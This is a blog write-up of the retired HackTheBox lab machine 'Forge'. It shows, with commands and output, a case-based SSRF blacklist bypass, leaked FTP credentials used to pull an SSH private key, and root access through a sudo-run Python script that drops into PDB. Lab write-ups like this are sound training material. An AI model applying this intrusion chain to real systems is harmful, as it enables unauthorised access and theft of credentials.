HTB: Forge

Posted on 21 Jan 2022 in security • 3 min read

Forge Card

This is a writeup about a retired HacktheBox machine: Forge publish on September 11, 2021 by NoobHacker9999. This box is rated as a medium machine but could be qualified as an easy medium :). It implies a SSRF and an LFI as well as some Python and a PDB.

Foothold

Recon

Let us start as always by a nmap scan. Only port 80 (HTTP) and 22 (SSH) are open.

# Nmap 7.91 scan initiated Friday Sep 17 04:59:56 2021 as: nmap -sSV -p- -oN notes.md -A 10.129.220.75
Nmap scan report for 10.129.220.75
Host is up (0.013s latency).
Not shown: 65532 closed ports
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))

Website

The website is a gallery that allow to upload an image either from the filesystem or from an URL.

We use wfuzz in addition to the subdomain secList to discover that the domain admin.forge.htb exist.

```text
└─$ wfuzz -c -w subdomains-top1million-5000.txt --sc 200 -H "HOST:FUZZ.forge.htb" http://forge.htb
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://forge.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000024:   200        1 L      4 W        27 Ch       "admin - admin"
```

We cannot access the admin interface as some IP filtering is in place. We try to includ the page by uploading it as an image using the URL but it failes with an error message: "URL contains a blacklisted address!"

We try the same inclusiion by using upper case on the "FORGE" domain and got the page http://admin.FORGE.htb

<title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>

We look at the announcements page:

<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>

We try to load the FTP page using the disclosed credentials http://admin.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@FORGE.htb/ We got two files user.txt and snap.

We take a look at the .ssh/id_rsa file (worst case scenario it does not exist) using http://admin.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@FORGE.htb/.ssh/id_rsa and got the RSA private key. We can now connect as user using SSH and grab the user flag.

└─$ ssh user@forge.htb -i id_rsa
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
user@forge:~$ cat user.txt
4a8aed62cdd2fca87ce185b780ee3e89

Root

We look at our privileges (sudo -l) and we see that we can run /usr/bin/python3 /opt/remote-manage.py as root without password. Looking at the script it is a remote manager script that will land us a PDB if it got a unrecognized input. So we launch the script, connect to it using another SSH terminal and nc, then we just input a "q" that will not be recognize and get a PDB in our first shell allowing us to load the os module and execute system commands as root using os.system([COMMAND]).

user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:59816
invalid literal for int() with base 10: b'q'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) --KeyboardInterrupt--
(Pdb) import os
(Pdb) os.system('id')
uid=0(root) gid=0(root) groups=0(root)
0

We just grab the root SSH private key and connect on the box as root allowing us to get the flag.

(Pdb) os.system('ls /root/.ssh')
authorized_keys  id_rsa  id_rsa.pub
0
(Pdb) os.system('cat /root/.ssh/id_rsa')
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAusTE7uvvBLrfqDLv6I/+Xc9W/RVGA4eFPOowUNkHDZ4MTUm4cK4/
DdTvY7o7bvSinEX26rWdG4eVY3qnBGSACl3VIGX80NsWgyZwWQT20Vj0q8gf674RB4LfB6
i6Awm8cbm3105HxfQnqr4qr2oJEpyDVaF29zpaS+6y0Ogq7HcRkSyQyErBnGmlOYBcBvvh
<SNIP>
-----END OPENSSH PRIVATE KEY-----

└─$ ssh forge.htb -l root -i id_rsa_root
root@forge:~# id
uid=0(root) gid=0(root) groups=0(root)
root@forge:~# cat root.txt
5a7c66fcccbc8a380f220f349e6eea95

Wrapping up

This box was really easy for a medium one. The root part really easy. I triggered it by mistake as "q" for quit is an old habit. Once you get the subdomain the user part just requires to follow the dots. A great medium box for beginners.